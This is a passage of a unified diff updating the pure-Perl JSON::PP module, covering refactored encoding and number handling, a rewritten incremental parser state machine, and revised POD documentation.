-    Carp::carp("allow_bigint() is obsoleted. use allow_bignum() insted.");
+    Carp::carp("allow_bigint() is obsoleted. use allow_bignum() instead.");
+    $_[0]->allow_bignum;
 }
 
 ###############################
@@ -269,11 +277,11 @@
         $indent_count = 0;
         $depth        = 0;
 
-        my $idx = $self->{PROPS};
+        my $props = $self->{PROPS};
 
         ($ascii, $latin1, $utf8, $indent, $canonical, $space_before, $space_after, $allow_blessed,
             $convert_blessed, $escape_slash, $bignum, $as_nonblessed)
-         = @{$idx}[P_ASCII .. P_SPACE_AFTER, P_ALLOW_BLESSED, P_CONVERT_BLESSED,
+         = @{$props}[P_ASCII .. P_SPACE_AFTER, P_ALLOW_BLESSED, P_CONVERT_BLESSED,
                     P_ESCAPE_SLASH, P_ALLOW_BIGNUM, P_AS_NONBLESSED];
 
         ($max_depth, $indent_length) = @{$self}{qw/max_depth indent_length/};
@@ -287,7 +295,7 @@
         }
 
         encode_error("hash- or arrayref expected (not a simple scalar, use allow_nonref to allow this)")
-             if(!ref $obj and !$idx->[ P_ALLOW_NONREF ]);
+             if(!ref $obj and !$props->[ P_ALLOW_NONREF ]);
 
         my $str  = $self->object_to_json($obj);
 
@@ -297,7 +305,7 @@
             utf8::upgrade($str);
         }
 
-        if ($idx->[ P_SHRINK ]) {
+        if ($props->[ P_SHRINK ]) {
             utf8::downgrade($str, 1);
         }
 
@@ -335,13 +343,14 @@
                 }
 
                 return "$obj" if ( $bignum and _is_bignum($obj) );
-                return $self->blessed_to_json($obj) if ($allow_blessed and $as_nonblessed); # will be removed.
 
+                if ($allow_blessed) {
+                    return $self->blessed_to_json($obj) if ($as_nonblessed); # will be removed.
+                    return 'null';
+                }
                 encode_error( sprintf("encountered object '%s', but neither allow_blessed "
                     . "nor convert_blessed settings are enabled", $obj)
-                ) unless ($allow_blessed);
-
-                return 'null';
+                );
             }
             else {
                 return $self->value_to_json($obj);
@@ -365,15 +374,16 @@
 
         for my $k ( _sort( $obj ) ) {
             if ( OLD_PERL ) { utf8::decode($k) } # key for Perl 5.6 / be optimized
-            push @res, string_to_json( $self, $k )
+            push @res, $self->string_to_json( $k )
                           .  $del
-                          . ( $self->object_to_json( $obj->{$k} ) || $self->value_to_json( $obj->{$k} ) );
+                          . ( ref $obj->{$k} ? $self->object_to_json( $obj->{$k} ) : $self->value_to_json( $obj->{$k} ) );
         }
 
         --$depth;
         $self->_down_indent() if ($indent);
 
-        return   '{' . ( @res ? $pre : '' ) . ( @res ? join( ",$pre", @res ) . $post : '' )  . '}';
+        return '{}' unless @res;
+        return '{' . $pre . join( ",$pre", @res ) . $post . '}';
     }
 
 
@@ -387,15 +397,37 @@
         my ($pre, $post) = $indent ? $self->_up_indent() : ('', '');
 
         for my $v (@$obj){
-            push @res, $self->object_to_json($v) || $self->value_to_json($v);
+            push @res, ref($v) ? $self->object_to_json($v) : $self->value_to_json($v);
         }
 
         --$depth;
         $self->_down_indent() if ($indent);
 
-        return '[' . ( @res ? $pre : '' ) . ( @res ? join( ",$pre", @res ) . $post : '' ) . ']';
+        return '[]' unless @res;
+        return '[' . $pre . join( ",$pre", @res ) . $post . ']';
     }
 
+    sub _looks_like_number {
+        my $value = shift;
+        if (USE_B) {
+            my $b_obj = B::svref_2object(\$value);
+            my $flags = $b_obj->FLAGS;
+            return 1 if $flags & ( B::SVp_IOK() | B::SVp_NOK() ) and !( $flags & B::SVp_POK() );
+            return;
+        } else {
+            no warnings 'numeric';
+            # if the utf8 flag is on, it almost certainly started as a string
+            return if utf8::is_utf8($value);
+            # detect numbers
+            # string & "" -> ""
+            # number & "" -> 0 (with warning)
+            # nan and inf can detect as numbers, so check with * 0
+            return unless length((my $dummy = "") & $value);
+            return unless 0 + $value eq $value;
+            return 1 if $value * 0 == 0;
+            return -1; # inf/nan
+        }
+    }
 
     sub value_to_json {
         my ($self, $value) = @_;
@@ -402,21 +434,18 @@
 
         return 'null' if(!defined $value);
 
-        my $b_obj = B::svref_2object(\$value);  # for round trip problem
-        my $flags = $b_obj->FLAGS;
-
-        return $value # as is 
-            if $flags & ( B::SVp_IOK | B::SVp_NOK ) and !( $flags & B::SVp_POK ); # SvTYPE is IV or NV?
-
         my $type = ref($value);
 
-        if(!$type){
-            return string_to_json($self, $value);
+        if (!$type) {
+            if (_looks_like_number($value)) {
+                return $value;
+            }
+            return $self->string_to_json($value);
         }
         elsif( blessed($value) and  $value->isa('JSON::PP::Boolean') ){
             return $$value == 1 ? 'true' : 'false';
         }
-        elsif ($type) {
+        else {
             if ((overload::StrVal($value) =~ /=(\w+)/)[0]) {
                 return $self->value_to_json("$value");
             }
@@ -428,25 +457,19 @@
                        : encode_error("cannot encode reference to scalar");
             }
 
-             if ( $self->{PROPS}->[ P_ALLOW_UNKNOWN ] ) {
-                 return 'null';
-             }
-             else {
-                 if ( $type eq 'SCALAR' or $type eq 'REF' ) {
+            if ( $self->{PROPS}->[ P_ALLOW_UNKNOWN ] ) {
+                return 'null';
+            }
+            else {
+                if ( $type eq 'SCALAR' or $type eq 'REF' ) {
                     encode_error("cannot encode reference to scalar");
-                 }
-                 else {
+                }
+                else {
                     encode_error("encountered $value, but JSON can only represent references to arrays or hashes");
-                 }
-             }
+                }
+            }
 
         }
-        else {
-            return $self->{fallback}->($value)
-                 if ($self->{fallback} and ref($self->{fallback}) eq 'CODE');
-            return 'null';
-        }
-
     }
 
 
@@ -625,19 +648,27 @@
 
     my $F_HOOK;
 
-    my $allow_bigint;   # using Math::BigInt
+    my $allow_bignum;   # using Math::BigInt/BigFloat
     my $singlequote;    # loosely quoting
     my $loose;          # 
     my $allow_barekey;  # bareKey
 
-    # $opt flag
-    # 0x00000001 .... decode_prefix
-    # 0x10000000 .... incr_parse
+    sub _detect_utf_encoding {
+        my $text = shift;
+        my @octets = unpack('C4', $text);
+        return 'unknown' unless defined $octets[3];
+        return ( $octets[0] and  $octets[1]) ? 'UTF-8'
+             : (!$octets[0] and  $octets[1]) ? 'UTF-16BE'
+             : (!$octets[0] and !$octets[1]) ? 'UTF-32BE'
+             : ( $octets[2]                ) ? 'UTF-16LE'
+             : (!$octets[2]                ) ? 'UTF-32LE'
+             : 'unknown';
+    }
 
     sub PP_decode_json {
-        my ($self, $opt); # $opt is an effective flag during this decode_json.
+        my ($self, $want_offset);
 
-        ($self, $text, $opt) = @_;
+        ($self, $text, $want_offset) = @_;
 
         ($at, $ch, $depth) = (0, '', 0);
 
@@ -645,13 +676,19 @@
             decode_error("malformed JSON string, neither array, object, number, string or atom");
         }
 
-        my $idx = $self->{PROPS};
+        my $props = $self->{PROPS};
 
-        ($utf8, $relaxed, $loose, $allow_bigint, $allow_barekey, $singlequote)
-            = @{$idx}[P_UTF8, P_RELAXED, P_LOOSE .. P_ALLOW_SINGLEQUOTE];
+        ($utf8, $relaxed, $loose, $allow_bignum, $allow_barekey, $singlequote)
+            = @{$props}[P_UTF8, P_RELAXED, P_LOOSE .. P_ALLOW_SINGLEQUOTE];
 
         if ( $utf8 ) {
-            utf8::downgrade( $text, 1 ) or Carp::croak("Wide character in subroutine entry");
+            $encoding = _detect_utf_encoding($text);
+            if ($encoding ne 'UTF-8' and $encoding ne 'unknown') {
+                require Encode;
+                Encode::from_to($text, $encoding, 'utf-8');
+            } else {
+                utf8::downgrade( $text, 1 ) or Carp::croak("Wide character in subroutine entry");
+            }
         }
         else {
             utf8::upgrade( $text );
@@ -672,27 +709,13 @@
             ) if ($bytes > $max_size);
         }
 
-        # Currently no effect
-        # should use regexp
-        my @octets = unpack('C4', $text);
-        $encoding =   ( $octets[0] and  $octets[1]) ? 'UTF-8'
-                    : (!$octets[0] and  $octets[1]) ? 'UTF-16BE'
-                    : (!$octets[0] and !$octets[1]) ? 'UTF-32BE'
-                    : ( $octets[2]                ) ? 'UTF-16LE'
-                    : (!$octets[2]                ) ? 'UTF-32LE'
-                    : 'unknown';
-
         white(); # remove head white space
 
-        my $valid_start = defined $ch; # Is there a first character for JSON structure?
+        decode_error("malformed JSON string, neither array, object, number, string or atom") unless defined $ch; # Is there a first character for JSON structure?
 
         my $result = value();
 
-        return undef if ( !$result && ( $opt & 0x10000000 ) ); # for incr_parse
-
-        decode_error("malformed JSON string, neither array, object, number, string or atom") unless $valid_start;
-
-        if ( !$idx->[ P_ALLOW_NONREF ] and !ref $result ) {
+        if ( !$props->[ P_ALLOW_NONREF ] and !ref $result ) {
                 decode_error(
                 'JSON text must be an object or array (but found number, string, true, false or null,'
                        . ' use allow_nonref to allow this)', 1);
@@ -704,12 +727,11 @@
 
         white(); # remove tail white space
 
-        if ( $ch ) {
-            return ( $result, $consumed ) if ($opt & 0x00000001); # all right if decode_prefix
-            decode_error("garbage after JSON object");
-        }
+        return ( $result, $consumed ) if $want_offset; # all right if decode_prefix
 
-        ( $opt & 0x00000001 ) ? ( $result, $consumed ) : $result;
+        decode_error("garbage after JSON object") if defined $ch;
+
+        $result;
     }
 
 
@@ -730,13 +752,12 @@
     }
 
     sub string {
-        my ($i, $s, $t, $u);
         my $utf16;
         my $is_utf8;
 
         ($is_valid_utf8, $utf8_len) = ('', 0);
 
-        $s = ''; # basically UTF8 flag on
+        my $s = ''; # basically UTF8 flag on
 
         if($ch eq '"' or ($singlequote and $ch eq "'")){
             my $boundChar = $ch;
@@ -836,10 +857,10 @@
 
     sub white {
         while( defined $ch  ){
-            if($ch le ' '){
+            if($ch eq '' or $ch =~ /\A[ \t\r\n]\z/){
                 next_chr();
             }
-            elsif($ch eq '/'){
+            elsif($relaxed and $ch eq '/'){
                 next_chr();
                 if(defined $ch and $ch eq '/'){
                     1 while(defined(next_chr()) and $ch ne "\n" and $ch ne "\r");
@@ -930,6 +951,7 @@
             }
         }
 
+        $at-- if defined $ch and $ch ne '';
         decode_error(", or ] expected while parsing array");
     }
 
@@ -996,7 +1018,7 @@
 
         }
 
-        $at--;
+        $at-- if defined $ch and $ch ne '';
         decode_error(", or } expected while parsing object/hash");
     }
 
@@ -1046,33 +1068,8 @@
         my $n    = '';
         my $v;
         my $is_dec;
+        my $is_exp;
 
-        # According to RFC4627, hex or oct digits are invalid.
-        if($ch eq '0'){
-            my $peek = substr($text,$at,1);
-            my $hex  = $peek =~ /[xX]/; # 0 or 1
-
-            if($hex){
-                decode_error("malformed number (leading zero must not be followed by another digit)");
-                ($n) = ( substr($text, $at+1) =~ /^([0-9a-fA-F]+)/);
-            }
-            else{ # oct
-                ($n) = ( substr($text, $at) =~ /^([0-7]+)/);
-                if (defined $n and length $n > 1) {
-                    decode_error("malformed number (leading zero must not be followed by another digit)");
-                }
-            }
-
-            if(defined $n and length($n)){
-                if (!$hex and length($n) == 1) {
-                   decode_error("malformed number (leading zero must not be followed by another digit)");
-                }
-                $at += length($n) + $hex;
-                next_chr;
-                return $hex ? hex($n) : oct($n);
-            }
-        }
-
         if($ch eq '-'){
             $n = '-';
             next_chr;
@@ -1081,6 +1078,16 @@
             }
         }
 
+        # According to RFC4627, hex or oct digits are invalid.
+        if($ch eq '0'){
+            my $peek = substr($text,$at,1);
+            if($peek =~ /^[0-9a-dfA-DF]/){ # e may be valid (exponential)
+                decode_error("malformed number (leading zero must not be followed by another digit)");
+            }
+            $n .= $ch;
+            next_chr;
+        }
+
         while(defined $ch and $ch =~ /\d/){
             $n .= $ch;
             next_chr;
@@ -1105,6 +1112,7 @@
 
         if(defined $ch and ($ch eq 'e' or $ch eq 'E')){
             $n .= $ch;
+            $is_exp = 1;
             next_chr;
 
             if(defined($ch) and ($ch eq '+' or $ch eq '-')){
@@ -1130,19 +1138,22 @@
 
         $v .= $n;
 
-        if ($v !~ /[.eE]/ and length $v > $max_intsize) {
-            if ($allow_bigint) { # from Adam Sussman
-                require Math::BigInt;
-                return Math::BigInt->new($v);
+        if ($is_dec or $is_exp) {
+            if ($allow_bignum) {
+                require Math::BigFloat;
+                return Math::BigFloat->new($v);
             }
-            else {
-                return "$v";
+        } else {
+            if (length $v > $max_intsize) {
+                if ($allow_bignum) { # from Adam Sussman
+                    require Math::BigInt;
+                    return Math::BigInt->new($v);
+                }
+                else {
+                    return "$v";
+                }
             }
         }
-        elsif ($allow_bigint) {
-            require Math::BigFloat;
-            return Math::BigFloat->new($v);
-        }
 
         return $is_dec ? $v/1.0 : 0+$v;
     }
@@ -1180,12 +1191,15 @@
         my $no_rep = shift;
         my $str    = defined $text ? substr($text, $at) : '';
         my $mess   = '';
-        my $type   = $] >= 5.008           ? 'U*'
-                   : $] <  5.006           ? 'C*'
-                   : utf8::is_utf8( $str ) ? 'U*' # 5.6
-                   : 'C*'
-                   ;
+        my $type   = 'U*';
 
+        if ( OLD_PERL ) {
+            my $type   =  $] <  5.006           ? 'C*'
+                        : utf8::is_utf8( $str ) ? 'U*' # 5.6
+                        : 'C*'
+                        ;
+        }
+
         for my $c ( unpack( $type, $str ) ) { # emulate pv_uni_display() ?
             $mess .=  $c == 0x07 ? '\a'
                     : $c == 0x09 ? '\t'
@@ -1275,26 +1289,26 @@
        *utf8::is_utf8 = *Encode::is_utf8;
     }
 
-    if ( $] >= 5.008 ) {
+    if ( !OLD_PERL ) {
         *JSON::PP::JSON_PP_encode_ascii      = \&_encode_ascii;
         *JSON::PP::JSON_PP_encode_latin1     = \&_encode_latin1;
         *JSON::PP::JSON_PP_decode_surrogates = \&_decode_surrogates;
         *JSON::PP::JSON_PP_decode_unicode    = \&_decode_unicode;
-    }
 
-    if ($] >= 5.008 and $] < 5.008003) { # join() in 5.8.0 - 5.8.2 is broken.
-        package JSON::PP;
-        require subs;
-        subs->import('join');
-        eval q|
-            sub join {
-                return '' if (@_ < 2);
-                my $j   = shift;
-                my $str = shift;
-                for (@_) { $str .= $j . $_; }
-                return $str;
-            }
-        |;
+        if ($] < 5.008003) { # join() in 5.8.0 - 5.8.2 is broken.
+            package JSON::PP;
+            require subs;
+            subs->import('join');
+            eval q|
+                sub join {
+                    return '' if (@_ < 2);
+                    my $j   = shift;
+                    my $str = shift;
+                    for (@_) { $str .= $j . $_; }
+                    return $str;
+                }
+            |;
+        }
     }
 
 
@@ -1317,7 +1331,7 @@
         sub JSON::PP::incr_text : lvalue {
             $_[0]->{_incr_parser} ||= JSON::PP::IncrParser->new;
 
-            if ( $_[0]->{_incr_parser}->{incr_parsing} ) {
+            if ( $_[0]->{_incr_parser}->{incr_pos} ) {
                 Carp::croak("incr_text cannot be called when the incremental parser already started parsing");
             }
             $_[0]->{_incr_parser}->{incr_text};
@@ -1338,7 +1352,7 @@
         *JSON::PP::reftype = \&Scalar::Util::reftype;
         *JSON::PP::refaddr = \&Scalar::Util::refaddr;
     }
-    else{ # This code is from Sclar::Util.
+    else{ # This code is from Scalar::Util.
         # warn $@;
         eval 'sub UNIVERSAL::a_sub_not_likely_to_be_here { ref($_[0]) }';
         *JSON::PP::blessed = sub {
@@ -1345,6 +1359,7 @@
             local($@, $SIG{__DIE__}, $SIG{__WARN__});
             ref($_[0]) ? eval { $_[0]->a_sub_not_likely_to_be_here } : undef;
         };
+        require B;
         my %tmap = qw(
             B::NULL   SCALAR
             B::HV     HASH
@@ -1392,7 +1407,7 @@
 $JSON::PP::true  = do { bless \(my $dummy = 1), "JSON::PP::Boolean" };
 $JSON::PP::false = do { bless \(my $dummy = 0), "JSON::PP::Boolean" };
 
-sub is_bool { defined $_[0] and UNIVERSAL::isa($_[0], "JSON::PP::Boolean"); }
+sub is_bool { blessed $_[0] and $_[0]->isa("JSON::PP::Boolean"); }
 
 sub true  { $JSON::PP::true  }
 sub false { $JSON::PP::false }
@@ -1400,18 +1415,6 @@
 
 ###############################
 
-package JSON::PP::Boolean;
-
-use overload (
-   "0+"     => sub { ${$_[0]} },
-   "++"     => sub { $_[0] = ${$_[0]} + 1 },
-   "--"     => sub { $_[0] = ${$_[0]} - 1 },
-   fallback => 1,
-);
-
-
-###############################
-
 package JSON::PP::IncrParser;
 
 use strict;
@@ -1425,8 +1428,6 @@
 
 $JSON::PP::IncrParser::VERSION = '1.01';
 
-my $unpack_format = $] < 5.006 ? 'C*' : 'U*';
-
 sub new {
     my ( $class ) = @_;
 
@@ -1433,8 +1434,8 @@
     bless {
         incr_nest    => 0,
         incr_text    => undef,
-        incr_parsing => 0,
-        incr_p       => 0,
+        incr_pos     => 0,
+        incr_mode    => 0,
     }, $class;
 }
 
@@ -1452,122 +1453,150 @@
         $self->{incr_text} .= $text;
     }
 
-
-    my $max_size = $coder->get_max_size;
-
     if ( defined wantarray ) {
-
-        $self->{incr_mode} = INCR_M_WS unless defined $self->{incr_mode};
-
-        if ( wantarray ) {
-            my @ret;
-
-            $self->{incr_parsing} = 1;
-
+        my $max_size = $coder->get_max_size;
+        my $p = $self->{incr_pos};
+        my @ret;
+        {
             do {
-                push @ret, $self->_incr_parse( $coder, $self->{incr_text} );
+                unless ( $self->{incr_nest} <= 0 and $self->{incr_mode} == INCR_M_JSON ) {
+                    $self->_incr_parse( $coder );
 
-                unless ( !$self->{incr_nest} and $self->{incr_mode} == INCR_M_JSON ) {
-                    $self->{incr_mode} = INCR_M_WS if $self->{incr_mode} != INCR_M_STR;
+                    if ( $max_size and $self->{incr_pos} > $max_size ) {
+                        Carp::croak("attempted decode of JSON text of $self->{incr_pos} bytes size, but max_size is set to $max_size");
+                    }
+                    unless ( $self->{incr_nest} <= 0 and $self->{incr_mode} == INCR_M_JSON ) {
+                        # as an optimisation, do not accumulate white space in the incr buffer
+                        if ( $self->{incr_mode} == INCR_M_WS and $self->{incr_pos} ) {
+                            $self->{incr_pos} = 0;
+                            $self->{incr_text} = '';
+                        }
+                        last;
+                    }
                 }
 
-            } until ( length $self->{incr_text} >= $self->{incr_p} );
+                my ($obj, $offset) = $coder->PP_decode_json( $self->{incr_text}, 0x00000001 );
+                push @ret, $obj;
+                use bytes;
+                $self->{incr_text} = substr( $self->{incr_text}, $offset || 0 );
+                $self->{incr_pos} = 0;
+                $self->{incr_nest} = 0;
+                $self->{incr_mode} = 0;
+                last unless wantarray;
+            } while ( wantarray );
+        }
 
-            $self->{incr_parsing} = 0;
-
+        if ( wantarray ) {
             return @ret;
         }
         else { # in scalar context
-            $self->{incr_parsing} = 1;
-            my $obj = $self->_incr_parse( $coder, $self->{incr_text} );
-            $self->{incr_parsing} = 0 if defined $obj; # pointed by Martin J. Evans
-            return $obj ? $obj : undef; # $obj is an empty string, parsing was completed.
+            return $ret[0] ? $ret[0] : undef;
         }
-
     }
-
 }
 
 
 sub _incr_parse {
-    my ( $self, $coder, $text, $skip ) = @_;
-    my $p = $self->{incr_p};
-    my $restore = $p;
-
-    my @obj;
+    my ($self, $coder) = @_;
+    my $text = $self->{incr_text};
     my $len = length $text;
+    my $p = $self->{incr_pos};
 
-    if ( $self->{incr_mode} == INCR_M_WS ) {
-        while ( $len > $p ) {
-            my $s = substr( $text, $p, 1 );
-            $p++ and next if ( 0x20 >= unpack($unpack_format, $s) );
-            $self->{incr_mode} = INCR_M_JSON;
-            last;
-       }
-    }
-
+INCR_PARSE:
     while ( $len > $p ) {
-        my $s = substr( $text, $p++, 1 );
+        my $s = substr( $text, $p, 1 );
+        last INCR_PARSE unless defined $s;
+        my $mode = $self->{incr_mode};
 
-        if ( $s eq '"' ) {
-            if (substr( $text, $p - 2, 1 ) eq '\\' ) {
-                next;
+        if ( $mode == INCR_M_WS ) {
+            while ( $len > $p ) {
+                $s = substr( $text, $p, 1 );
+                last INCR_PARSE unless defined $s;
+                if ( ord($s) > 0x20 ) {
+                    if ( $s eq '#' ) {
+                        $self->{incr_mode} = INCR_M_C0;
+                        redo INCR_PARSE;
+                    } else {
+                        $self->{incr_mode} = INCR_M_JSON;
+                        redo INCR_PARSE;
+                    }
+                }
+                $p++;
             }
-
-            if ( $self->{incr_mode} != INCR_M_STR  ) {
-                $self->{incr_mode} = INCR_M_STR;
-            }
-            else {
-                $self->{incr_mode} = INCR_M_JSON;
-                unless ( $self->{incr_nest} ) {
+        } elsif ( $mode == INCR_M_BS ) {
+            $p++;
+            $self->{incr_mode} = INCR_M_STR;
+            redo INCR_PARSE;
+        } elsif ( $mode == INCR_M_C0 or $mode == INCR_M_C1 ) {
+            while ( $len > $p ) {
+                $s = substr( $text, $p, 1 );
+                last INCR_PARSE unless defined $s;
+                if ( $s eq "\n" ) {
+                    $self->{incr_mode} = $self->{incr_mode} == INCR_M_C0 ? INCR_M_WS : INCR_M_JSON;
                     last;
                 }
+                $p++;
             }
-        }
+            next;
+        } elsif ( $mode == INCR_M_STR ) {
+            while ( $len > $p ) {
+                $s = substr( $text, $p, 1 );
+                last INCR_PARSE unless defined $s;
+                if ( $s eq '"' ) {
+                    $p++;
+                    $self->{incr_mode} = INCR_M_JSON;
 
-        if ( $self->{incr_mode} == INCR_M_JSON ) {
-
-            if ( $s eq '[' or $s eq '{' ) {
-                if ( ++$self->{incr_nest} > $coder->get_max_depth ) {
-                    Carp::croak('json text or perl structure exceeds maximum nesting level (max_depth set too low?)');
+                    last INCR_PARSE unless $self->{incr_nest};
+                    redo INCR_PARSE;
                 }
+                elsif ( $s eq '\\' ) {
+                    $p++;
+                    if ( !defined substr($text, $p, 1) ) {
+                        $self->{incr_mode} = INCR_M_BS;
+                        last INCR_PARSE;
+                    }
+                }
+                $p++;
             }
-            elsif ( $s eq ']' or $s eq '}' ) {
-                last if ( --$self->{incr_nest} <= 0 );
-            }
-            elsif ( $s eq '#' ) {
-                while ( $len > $p ) {
-                    last if substr( $text, $p++, 1 ) eq "\n";
+        } elsif ( $mode == INCR_M_JSON ) {
+            while ( $len > $p ) {
+                $s = substr( $text, $p++, 1 );
+                if ( $s eq "\x00" ) {
+                    $p--;
+                    last INCR_PARSE;
+                } elsif ( $s eq "\x09" or $s eq "\x0a" or $s eq "\x0d" or $s eq "\x20" ) {
+                    if ( !$self->{incr_nest} ) {
+                        $p--; # do not eat the whitespace, let the next round do it
+                        last INCR_PARSE;
+                    }
+                    next;
+                } elsif ( $s eq '"' ) {
+                    $self->{incr_mode} = INCR_M_STR;
+                    redo INCR_PARSE;
+                } elsif ( $s eq '[' or $s eq '{' ) {
+                    if ( ++$self->{incr_nest} > $coder->get_max_depth ) {
+                        Carp::croak('json text or perl structure exceeds maximum nesting level (max_depth set too low?)');
+                    }
+                    next;
+                } elsif ( $s eq ']' or $s eq '}' ) {
+                    if ( --$self->{incr_nest} <= 0 ) {
+                        last INCR_PARSE;
+                    }
+                } elsif ( $s eq '#' ) {
+                    $self->{incr_mode} = INCR_M_C1;
+                    redo INCR_PARSE;
                 }
             }
-
         }
-
     }
 
-    $self->{incr_p} = $p;
-
-    return if ( $self->{incr_mode} == INCR_M_STR and not $self->{incr_nest} );
-    return if ( $self->{incr_mode} == INCR_M_JSON and $self->{incr_nest} > 0 );
-
-    return '' unless ( length substr( $self->{incr_text}, 0, $p ) );
-
-    local $Carp::CarpLevel = 2;
-
-    $self->{incr_p} = $restore;
-    $self->{incr_c} = $p;
-
-    my ( $obj, $tail ) = $coder->PP_decode_json( substr( $self->{incr_text}, 0, $p ), 0x10000001 );
-
-    $self->{incr_text} = substr( $self->{incr_text}, $p );
-    $self->{incr_p} = 0;
-
-    return $obj || '';
+    $self->{incr_pos} = $p;
+    $self->{incr_parsing} = $p ? 1 : 0; # for backward compatibility
 }
 
 
 sub incr_text {
-    if ( $_[0]->{incr_parsing} ) {
+    if ( $_[0]->{incr_pos} ) {
         Carp::croak("incr_text cannot be called when the incremental parser already started parsing");
     }
     $_[0]->{incr_text};
@@ -1576,8 +1605,10 @@
 
 sub incr_skip {
     my $self  = shift;
-    $self->{incr_text} = substr( $self->{incr_text}, $self->{incr_c} );
-    $self->{incr_p} = 0;
+    $self->{incr_text} = substr( $self->{incr_text}, $self->{incr_pos} );
+    $self->{incr_pos}     = 0;
+    $self->{incr_mode}    = 0;
+    $self->{incr_nest}    = 0;
 }
 
 
@@ -1584,10 +1615,9 @@
 sub incr_reset {
     my $self = shift;
     $self->{incr_text}    = undef;
-    $self->{incr_p}       = 0;
+    $self->{incr_pos}     = 0;
     $self->{incr_mode}    = 0;
     $self->{incr_nest}    = 0;
-    $self->{incr_parsing} = 0;
 }
 
 ###############################
@@ -1613,13 +1643,11 @@
 
  # OO-interface
 
- $coder = JSON::PP->new->ascii->pretty->allow_nonref;
+ $json = JSON::PP->new->ascii->pretty->allow_nonref;
  
- $json_text   = $json->encode( $perl_scalar );
+ $pretty_printed_json_text = $json->encode( $perl_scalar );
  $perl_scalar = $json->decode( $json_text );
  
- $pretty_printed = $json->pretty->encode( $perl_scalar ); # pretty-printing
- 
  # Note that JSON version 2.0 and above will automatically use
  # JSON::XS or JSON::PP, so you should be able to just:
  
@@ -1628,69 +1656,47 @@
 
 =head1 VERSION
 
-    2.27400
+    2.97001
 
-L<JSON::XS> 2.27 (~2.30) compatible.
-
-=head1 NOTE
-
-JSON::PP had been included in JSON distribution (CPAN module).
-It was a perl core module in Perl 5.14.
-
 =head1 DESCRIPTION
 
-This module is L<JSON::XS> compatible pure Perl module.
-(Perl 5.8 or later is recommended)
+JSON::PP is a pure perl JSON decoder/encoder (as of RFC4627, which
+we know is obsolete but we still stick to; see below for an option
+to support part of RFC7159), and (almost) compatible to much
+faster L<JSON::XS> written by Marc Lehmann in C. JSON::PP works as
+a fallback module when you use L<JSON> module without having
+installed JSON::XS.
 
-JSON::XS is the fastest and most proper JSON module on CPAN.
-It is written by Marc Lehmann in C, so must be compiled and
-installed in the used environment.
+Because of this fallback feature of JSON.pm, JSON::PP tries not to
+be more JavaScript-friendly than JSON::XS (i.e. not to escape extra
+characters such as U+2028 and U+2029 nor support RFC7159/ECMA-404),
+in order for you not to lose such JavaScript-friendliness silently
+when you use JSON.pm and install JSON::XS for speed or by accident.
+If you need JavaScript-friendly RFC7159-compliant pure perl module,
+try L<JSON::Tiny>, which is derived from L<Mojolicious> web
+framework and is also smaller and faster than JSON::PP.
 
-JSON::PP is a pure-Perl module and has compatibility to JSON::XS.
+JSON::PP has been in the Perl core since Perl 5.14, mainly for
+CPAN toolchain modules to parse META.json.
 
-
-=head2 FEATURES
-
-=over
-
-=item * correct unicode handling
-
-This module knows how to handle Unicode (depending on Perl version).
-
-See to L<JSON::XS/A FEW NOTES ON UNICODE AND PERL> and L<UNICODE HANDLING ON PERLS>.
-
-
-=item * round-trip integrity
-
-When you serialise a perl data structure using only data types supported
-by JSON and Perl, the deserialised data structure is identical on the Perl
-level. (e.g. the string "2.0" doesn't suddenly become "2" just because
-it looks like a number). There I<are> minor exceptions to this, read the
-MAPPING section below to learn about those.
-
-
-=item * strict checking of JSON correctness
-
-There is no guessing, no generating of illegal JSON texts by default,
-and only JSON is accepted as input by default (the latter is a security feature).
-But when some options are set, loose checking features are available.
-
-=back
-
 =head1 FUNCTIONAL INTERFACE
 
-Some documents are copied and modified from L<JSON::XS/FUNCTIONAL INTERFACE>.
+This section is taken from JSON::XS almost verbatim. C<encode_json>
+and C<decode_json> are exported by default.
 
 =head2 encode_json
 
     $json_text = encode_json $perl_scalar
 
-Converts the given Perl data structure to a UTF-8 encoded, binary string.
+Converts the given Perl data structure to a UTF-8 encoded, binary string
+(that is, the string contains octets only). Croaks on error.
 
 This function call is functionally identical to:
 
     $json_text = JSON::PP->new->utf8->encode($perl_scalar)
 
+Except being faster.
+
 =head2 decode_json
 
     $perl_scalar = decode_json $json_text
@@ -1697,12 +1703,14 @@
 
 The opposite of C<encode_json>: expects an UTF-8 (binary) string and tries
 to parse that as an UTF-8 encoded JSON text, returning the resulting
-reference.
+reference. Croaks on error.
 
 This function call is functionally identical to:
 
     $perl_scalar = JSON::PP->new->utf8->decode($json_text)
 
+Except being faster.
+
 =head2 JSON::PP::is_bool
 
     $is_boolean = JSON::PP::is_bool($scalar)
@@ -1711,114 +1719,24 @@
 JSON::PP::false, two constants that act like C<1> and C<0> respectively
 and are also used to represent JSON C<true> and C<false> in Perl strings.
 
-=head2 JSON::PP::true
-
-Returns JSON true value which is blessed object.
-It C<isa> JSON::PP::Boolean object.
-
-=head2 JSON::PP::false
-
-Returns JSON false value which is blessed object.
-It C<isa> JSON::PP::Boolean object.
-
-=head2 JSON::PP::null
-
-Returns C<undef>.
-
 See L<MAPPING>, below, for more information on how JSON values are mapped to
 Perl.
 
+=head1 OBJECT-ORIENTED INTERFACE
 
-=head1 HOW DO I DECODE A DATA FROM OUTER AND ENCODE TO OUTER
+This section is also taken from JSON::XS.
 
-This section supposes that your perl version is 5.8 or later.
+The object oriented interface lets you configure your own encoding or
+decoding style, within the limits of supported formats.
 
-If you know a JSON text from an outer world - a network, a file content, and so on,
-is encoded in UTF-8, you should use C<decode_json> or C<JSON> module object
-with C<utf8> enabled. And the decoded result will contain UNICODE characters.
-
-  # from network
-  my $json        = JSON::PP->new->utf8;
-  my $json_text   = CGI->new->param( 'json_data' );
-  my $perl_scalar = $json->decode( $json_text );
-  
-  # from file content
-  local $/;
-  open( my $fh, '<', 'json.data' );
-  $json_text   = <$fh>;
-  $perl_scalar = decode_json( $json_text );
-
-If an outer data is not encoded in UTF-8, firstly you should C<decode> it.
-
-  use Encode;
-  local $/;
-  open( my $fh, '<', 'json.data' );
-  my $encoding = 'cp932';
-  my $unicode_json_text = decode( $encoding, <$fh> ); # UNICODE
-  
-  # or you can write the below code.
-  #
-  # open( my $fh, "<:encoding($encoding)", 'json.data' );
-  # $unicode_json_text = <$fh>;
-
-In this case, C<$unicode_json_text> is of course UNICODE string.
-So you B<cannot> use C<decode_json> nor C<JSON> module object with C<utf8> enabled.
-Instead of them, you use C<JSON> module object with C<utf8> disable.
-
-  $perl_scalar = $json->utf8(0)->decode( $unicode_json_text );
-
-Or C<encode 'utf8'> and C<decode_json>:
-
-  $perl_scalar = decode_json( encode( 'utf8', $unicode_json_text ) );
-  # this way is not efficient.
-
